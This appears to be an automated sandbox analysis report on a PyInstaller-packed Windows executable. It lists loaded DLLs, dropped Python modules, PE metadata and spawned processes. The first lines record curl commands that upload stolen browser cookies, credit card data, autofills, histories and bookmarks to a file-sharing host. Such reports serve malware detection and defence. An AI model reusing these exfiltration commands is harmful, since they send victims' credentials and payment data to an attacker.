Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcookies.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prcreditcards.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prautofills.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prhistories.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Tempprysmax-745773\prbookmarks.txt" https://[{'name': 'store-eu-par-3', 'zone': 'eu'}, {'name': 'store6', 'zone': 'eu'}, {'name': 'store5', 'zone': 'eu'}, {'name': 'store4', 'zone': 'eu'}, {'name': 'store1', 'zone': 'eu'}].gofile.io/contents/uploadfile Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: libffi-8.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: libcrypto-3.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: libssl-3.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: pdh.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: sqlite3.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\curl.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: dbghelp.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\tasklist.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\main.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\main.exe Process created: C:\Windows\System32\tasklist.exe tasklist
Source: main.exe Static PE information: Image base 0x140000000 > 0x60000000
Source: main.exe Static file information: File size 27577634 > 1048576
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: main.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: main.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: main.exe, 00000000.00000003.1753253644.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: bossl-modules\legacy.pdb0 source: main.exe, 00000000.00000002.2031067300.0000024BCD638000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2015446644.000001E891469000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: main.exe, 00000000.00000003.1754671215.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: bossl-modules\legacy.pdb source: main.exe, 00000000.00000002.2031067300.0000024BCD638000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000002.00000002.2015446644.000001E891469000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: main.exe, 00000000.00000003.1753335252.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: main.exe, 00000000.00000003.1754774783.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: main.exe, 00000000.00000003.1754995802.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: main.exe, 00000000.00000003.1753820338.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: main.exe, 00000000.00000003.1753127586.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: main.exe, 00000000.00000003.1753127586.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\python3.pdb source: main.exe, 00000002.00000002.2015409411.000001E891430000.00000002.00000001.01000000.00000006.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: main.exe, 00000000.00000003.1754921734.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: main.exe, 00000000.00000003.1753253644.0000024BCD652000.00000004.00000020.00020000.00000000.sdmp
Source: main.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: main.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: main.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: main.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: main.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Binary contains a suspicious time stamp
Source: VCRUNTIME140_1.dll.0.dr Static PE information: 0xFB76EAA0 [Mon Sep 10 13:35:28 2103 UTC]
PE file contains sections with non-standard names
Source: libcrypto-3-x64.dll.0.dr Static PE information: section name: .00cfg
Source: libcrypto-3.dll.0.dr Static PE information: section name: .00cfg
Source: libssl-3.dll.0.dr Static PE information: section name: .00cfg
Source: legacy.dll.0.dr Static PE information: section name: .00cfg
Source: mfc140u.dll.0.dr Static PE information: section name: .didat
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: fothk
Source: VCRUNTIME140.dll.0.dr Static PE information: section name: _RDATA
Source: python311.dll.0.dr Static PE information: section name: PyRuntim

Persistence and Installation Behavior
barindex
Found pyInstaller with non standard icon
Source: C:\Users\user\Desktop\main.exe Process created: "C:\Users\user\Desktop\main.exe"
Drops PE files
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_ARC4.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_hashlib.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_eksblowfish.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_Salsa20.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_asyncio.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\zstandard\_cffi.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_overlapped.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_lzma.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA1.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Pythonwin\win32ui.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\libffi-8.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Protocol\_scrypt.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_socket.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_chacha20.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cbc.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_keccak.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA256.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\unicodedata.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_ghash_clmul.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD5.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_ctypes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_cffi_backend.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_decimal.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ecb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\ossl-modules\legacy.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_pkcs1_decode.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cast.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_poly1305.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_webp.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_des3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_BLAKE2s.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\zstandard\backend_c.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_BLAKE2b.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\cryptography\hazmat\bindings\_rust.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_RIPEMD160.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_curve448.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\select.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Pythonwin\mfc140u.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ofb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_curve25519.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_des.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_ghash_portable.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_uuid.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\_win32sysloader.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_aes.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\python3.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ec_ws.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingcms.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_blowfish.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_arc2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ocb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\psutil\_psutil_windows.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\VCRUNTIME140_1.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Math\_modexp.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_brotli.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imaging.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\sqlite3.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_elementtree.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Util\_strxor.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingtk.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\markupsafe\_speedups.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32\pywintypes311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Util\_cpuid_c.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_ssl.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\win32api.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\win32\win32trace.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_cfb.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\libssl-3.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_bz2.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_sqlite3.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_aesni.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA384.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\libcrypto-3.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_queue.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\pywin32_system32\pythoncom311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_MD4.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\charset_normalizer\md.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\PIL\_imagingmath.cp311-win_amd64.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Cipher\_raw_ctr.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\pyexpat.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\python311.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\_multiprocessing.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\libcrypto-3-x64.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA512.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\VCRUNTIME140.dll Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ed25519.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\Hash\_SHA224.pyd Jump to dropped file
Source: C:\Users\user\Desktop\main.exe File created: C:\Users\user\AppData\Local\Temp\_MEI75802\Crypto\PublicKey\_ed448.pyd Jump to dropped file
